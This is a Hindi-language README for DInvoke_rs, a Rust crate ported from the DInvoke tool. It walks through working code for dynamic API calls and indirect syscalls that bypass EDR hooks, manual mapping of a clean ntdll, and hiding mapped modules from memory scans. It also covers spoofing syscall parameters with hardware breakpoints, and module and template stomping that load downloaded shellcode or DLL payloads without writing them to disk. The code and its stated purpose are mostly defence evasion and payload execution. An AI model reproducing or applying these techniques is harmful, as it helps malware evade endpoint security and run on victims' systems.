
गतिशील रूप से मनमाना अनमैनेज्ड कोड लागू करें
यह Dinvoke का Rust पोर्ट है। DInvoke_rs का उपयोग कई उद्देश्यों के लिए किया जा सकता है, जैसे PE पार्सिंग, डायनेमिक एक्सपोर्टेड फ़ंक्शन रिज़ॉल्यूशन, रनटाइम पर PE प्लगइन्स को डायनेमिक रूप से लोड करना, API हुक से बचाव, और बहुत कुछ।
Features:
सारा श्रेय इस टूल के मूल C# इम्प्लीमेंटेशन के रचनाकारों को जाता है:
इस क्रेट को अपने प्रोजेक्ट में इम्पोर्ट करने के लिए अपने cargo.toml में निम्न पंक्ति जोड़ें:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# उदाहरण
## निर्यातित APIs का पता लगाना
नीचे दिया गया उदाहरण दिखाता है कि किसी DLL के एक्सपोर्ट्स को गतिशील रूप से खोजने और कॉल करने के लिए DInvoke_rs का उपयोग कैसे करें (इस मामले में `ntdll.dll`)।
1) ntdll का बेस एड्रेस प्राप्त करें।
2) नाम से `ntdll.dll` के भीतर एक एक्सपोर्ट खोजने के लिए `get_function_address()` का उपयोग करें। यह dll के EAT को स्कैन और पार्स करके पूरा किया जाता है।
3) आप `get_function_address_by_ordinal()` को कॉल करके ऑर्डिनल द्वारा भी एक एक्सपोर्ट खोज सकते हैं।```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
नीचे दिए गए उदाहरण में, हम वर्तमान प्रक्रिया के टोकन के लिए SeDebugPrivilege सक्षम करने हेतु RtlAdjustPrivilege को गतिशील रूप से कॉल करने के लिए DInvoke_rs का उपयोग करते हैं। इस प्रकार का निष्पादन Win32 में उपस्थित किसी भी API हुक को बायपास कर देगा। साथ ही, यह अंतिम PE के Import Address Table पर कोई प्रविष्टि नहीं बनाएगा, जिससे PE के व्यवहार का पता लगाना बिना उसे निष्पादित किए और अधिक कठिन हो जाता है।```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## अप्रत्यक्ष syscall निष्पादित करना
अगले उदाहरण में, हम फ़ंक्शन `NtQueryInformationProcess` के अनुरूप syscall निष्पादित करने के लिए DInvoke_rs का उपयोग करते हैं। चूँकि मैक्रो `execute_syscall!()` वांछित syscall करने के लिए आवश्यक shellcode को गतिशील रूप से आवंटित और निष्पादित करता है, `ntdll.dll` में मौजूद सभी हुक्स बायपास हो जाते हैं। syscall के लौटते ही आवंटित मेमोरी रिलीज़ हो जाती है, जिससे निष्पादन अनुमति वाले मेमोरी पेजों की स्थायी उपस्थिति से बचा जा सके।```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
इस उदाहरण में, DInvoke_rs का उपयोग ntdll.dll की एक नई कॉपी को मैन्युअल रूप से मैप करने के लिए किया जाता है, बिना किसी EDR हुक के। फिर उस नई ntdll.dll कॉपी का उपयोग किसी भी वांछित फ़ंक्शन को निष्पादित करने के लिए किया जा सकता है।
यह मैनुअल मैप मेमोरी से भी निष्पादित किया जा सकता है (उस स्थिति में manually_map_module() का उपयोग करें), जिससे क्लासिक रिफ्लेक्टिव DLL इंजेक्शन करना संभव हो जाता है।```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## Overload memory section
निम्नलिखित उदाहरण में, DInvoke_rs का उपयोग फ़ाइल-समर्थित memory section बनाने के लिए किया जाता है, और उसके बाद मैन्युअल रूप से PE मैप करके उसे overload किया जाता है। Memory section डिफ़ॉल्ट रूप से `%WINDIR%\System32\` में स्थित एक वैध फ़ाइल की ओर इंगित करेगा, लेकिन कोई भी अन्य decoy मॉड्यूल उपयोग किया जा सकता है।
यह overload memory से PE मैप करके भी निष्पादित किया जा सकता है (जैसा कि निम्नलिखित उदाहरण में दिखाया गया है), जिससे payload को डिस्क पर लिखे बिना overload करना संभव हो जाता है।```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs मैप किए गए PE को छिपाने की अनुमति देता है जब वे उपयोग में नहीं होते हैं, जिससे EDR मेमोरी निरीक्षण के लिए आपके प्रोसेस में एक संदिग्ध dll की उपस्थिति का पता लगाना कठिन हो जाता है।
उदाहरण के लिए, मान लीजिए कि हम EDR हुक से बचने के लिए ntdll.dll की एक नई प्रति मैप करना चाहते हैं। चूंकि एक ही प्रोसेस में दो ntdll.dll को संदिग्ध व्यवहार माना जा सकता है, इसलिए हम ntdll को मैप कर सकते हैं और जब भी हम इसका उपयोग नहीं कर रहे हों तो इसे छिपा सकते हैं। यह शेलकोड फ्लक्चुएशन तकनीक के समान है, हालांकि इस परिदृश्य में हम इस तथ्य का लाभ उठा सकते हैं कि हम एक PE को एक वैध फ़ाइल-समर्थित मेमोरी सेक्शन में मैप कर रहे हैं, इसलिए हम ntdll की सामग्री को उस मूल डिकॉय मॉड्यूल की सामग्री से बदल सकते हैं जिसे सेक्शन इंगित कर रहा है।```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## Syscall पैरामीटर स्पूफिंग
किसी syscall के पहले 4 पैरामीटरों को स्पूफ करने के लिए, DInvoke_rs में हार्डवेयर ब्रेकपॉइंट्स के साथ-साथ एक्सेप्शन हैंडलर्स का समर्थन है। यह एक NT फ़ंक्शन को गैर-दुर्भावनापूर्ण पैरामीटर भेजने की अनुमति देता है, और EDR द्वारा उनका निरीक्षण करने के बाद, syscall निर्देश निष्पादित होने से पहले उन्हें मूल पैरामीटरों से बदल दिया जाता है। अधिक जानकारी के लिए, उस रिपॉजिटरी को देखें जहाँ से यह मूल विचार आया है: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls)।
फिलहाल, यह सुविधा `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` और `NtCreateThreadEx` फ़ंक्शनों के लिए लागू की गई है। इसे उपयोग करने के लिए, केवल सुविधा को सक्रिय करना, एक्सेप्शन हैंडलर सेट करना और Dinvoke के माध्यम से वांछित फ़ंक्शन को कॉल करना आवश्यक है।```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
Dinvoke_rs का overload crate अब managed_module_stomping() फ़ंक्शन को कॉल करके module stomping करने की अनुमति देता है। इस फ़ंक्शन का पहला पैरामीटर shellcode की सामग्री है। अन्य दो पैरामीटर फ़ंक्शन के व्यवहार को संशोधित करते हैं, जिससे नीचे टिप्पणी किए गए तीन अलग-अलग निष्पादन पथों की अनुमति मिलती है।
मेरी राय में इस फ़ंक्शन का उपयोग करने का सबसे अच्छा तरीका एक वैध dll को प्रक्रिया में लोड करना और Dinvoke को उस dll में एक अच्छा स्थान निर्धारित करने देना है ताकि आप अपने shellcode को उस पर स्टॉम्प कर सकें। यह managed_module_stomping() के तीसरे पैरामीटर के रूप में dll का base address पास करके किया जाता है। दूसरा तर्क शून्य होना चाहिए। ऐसा करने से, Dinvoke dll के Exception data पर पुनरावृत्ति करेगा और shellcode को स्टॉम्प करने के लिए एक पर्याप्त बड़ा वैध फ़ंक्शन खोजेगा।```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
आप दूसरे पैरामीटर के रूप में मेमोरी एड्रेस पास करके उस सटीक स्थान को भी निर्दिष्ट कर सकते हैं जहाँ आप shellcode को स्टॉम्प करना चाहते हैं:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
अंत में, आप Dinvoke को स्वचालित रूप से वह पता तय करने दे सकते हैं जहाँ shellcode को स्टॉम्प किया जाएगा। यह सभी लोड किए गए मॉड्यूल के Exception डेटा पर तब तक पुनरावृत्ति करके किया जाता है जब तक एक उपयुक्त फ़ंक्शन नहीं मिल जाता। यह विकल्प अप्रत्याशित व्यवहार ला सकता है, इसलिए मैं वास्तव में इसकी अनुशंसा नहीं करता, जब तक कि आपके पास कोई अन्य विकल्प न हो।```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
एक बार शेलकोड स्टॉम्प हो जाने के बाद, आप अपने शेलकोड को छिपाने/फिर से स्टॉम्प करने के लिए `dmanager` क्रेट का उपयोग कर सकते हैं, जिससे शेलकोड फ्लक्चुएशन करना संभव हो जाता है:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping, module stomping तकनीक का एक व्युत्पन्न रूप है जो विशेष रूप से DLLs के लिए तैयार किया गया है। अभी यह तकनीक केवल वर्तमान प्रोसेस में DLL लोड करने की अनुमति देती है, रिमोट प्रोसेस समर्थित नहीं हैं।
मुख्य उद्देश्य एक DLL से एक टेम्पलेट बनाना है जिसमें .text सेक्शन की सामग्री को मनमाने डेटा से बदल दिया जाता है, जिससे बिना अलर्ट उठाए टेम्पलेट को डिस्क पर लिखा जा सके। यह टेम्पलेट इस तरह से तैयार किया जाता है कि इसे LoadLibrary को कॉल करके प्रोसेस में लोड किया जा सके। फिर, मूल .text सेक्शन की सामग्री को सीधे प्रोसेस की मेमोरी में डाउनलोड करके टेम्पलेट के संबंधित मेमोरी क्षेत्र पर स्टॉम्प किया जा सकता है। इस तकनीक को दो मुख्य फ़ंक्शनों का उपयोग करके प्रभावी ढंग से निष्पादित किया जा सकता है: generate_template और template_stomping।
generate_template फ़ंक्शन को मूल DLL से टेम्पलेट बनाने के लिए डिज़ाइन किया गया है, जिसमें .text सेक्शन की सामग्री निकालकर उसे मनमाने डेटा से बदल दिया जाता है। यह सुनिश्चित करता है कि टेम्पलेट अपनी संरचना बनाए रखे लेकिन इसमें कोई सार्थक निष्पादन योग्य कोड न हो, एंट्री पॉइंट्स और TLS कॉलबैक को छोड़कर, जिन्हें डमी लेकिन कार्यात्मक असेंबली निर्देशों से बदल दिया जाता है। मूल .text सेक्शन की सामग्री अलग से payload.bin में सहेजी जाती है, और अंतिम टेम्पलेट फ़ाइल template.dll में सहेजी जाती है।```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
फिर टेम्पलेट को **टारगेट सिस्टम** पर डिस्क में सहेजा जा सकता है और `LoadLibrary` को कॉल करके वर्तमान प्रक्रिया में लोड किया जा सकता है। एक बार टेम्पलेट SO द्वारा लोड हो जाने के बाद, अगला चरण `payload.bin` में संग्रहीत मूल निष्पादन योग्य सामग्री को टेम्पलेट के `.text` अनुभाग में स्टॉम्प करना शामिल है। यह प्रक्रिया `template_stomping` फ़ंक्शन द्वारा की जाती है, जो मूल निष्पादन योग्य सामग्री को सही मेमोरी क्षेत्र में स्टॉम्प करता है और इस प्रक्रिया में शामिल सभी विवरणों का ध्यान रखता है।```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
यह तकनीक DLL को डिस्क-समर्थित मेमोरी क्षेत्रों में लोड करने की अनुमति देती है, बिना वास्तविक निष्पादन योग्य सामग्री को फाइल सिस्टम में लिखे (जिससे प्राइवेट मेमोरी क्षेत्रों की आवश्यकता समाप्त हो जाती है और EDR के स्थैतिक/गतिशील विश्लेषण से बचा जा सकता है), और DLL के कोड के निष्पादन के दौरान एक स्वच्छ कॉल स्टैक बनाए रखने की भी अनुमति देती है, जो DLL को रिफ्लेक्टिव रूप से लोड करने के मामले में संभव नहीं है।